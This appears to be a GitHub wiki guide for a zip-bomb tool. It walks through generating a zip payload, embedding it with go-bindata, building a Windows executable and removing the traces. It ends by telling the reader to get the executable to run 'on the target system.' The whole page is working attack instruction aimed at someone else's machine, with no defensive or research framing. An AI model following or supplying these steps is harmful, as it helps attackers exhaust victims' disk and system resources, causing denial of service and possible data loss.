-
Notifications
You must be signed in to change notification settings - Fork 1
Guide
Aliasgar Khimani edited this page Mar 27, 2023
·
2 revisions
Here's a very straight forward guide on how to use this:
- Generate a suitable payload:
$ ./payloadgen.bash
USAGE: payloadgen.bash [UNIT SIZE] [COPIES]
Generates a zip file as a payload for a zip-bomb
UNIT SIZE Size of the unit dummy file inside the payload
COPIES Specifies how many dummy files the payload should contain
$ ./payloadgen.bash 10000000 500
...
Payload size: 4.8M ./payload_500.zip
- You're gonna be needing
go-bindatafor this; generate a data binding for the main program:
$ go-bindata -o payload.go payload_500.zip
- Now, (if necessary) make changes to the
placePayloadfunction inzipbomb.go - Build the program for suitable target system:
$ GOOS=windows go build zipbomb.go payload.go
$ rm payload.go payload_500.zip
## Checking executable size:
$ du -h zipbomb.exe
2.4M zipbomb.exe
Done! Now all you need to do is get this executable to execute on the target system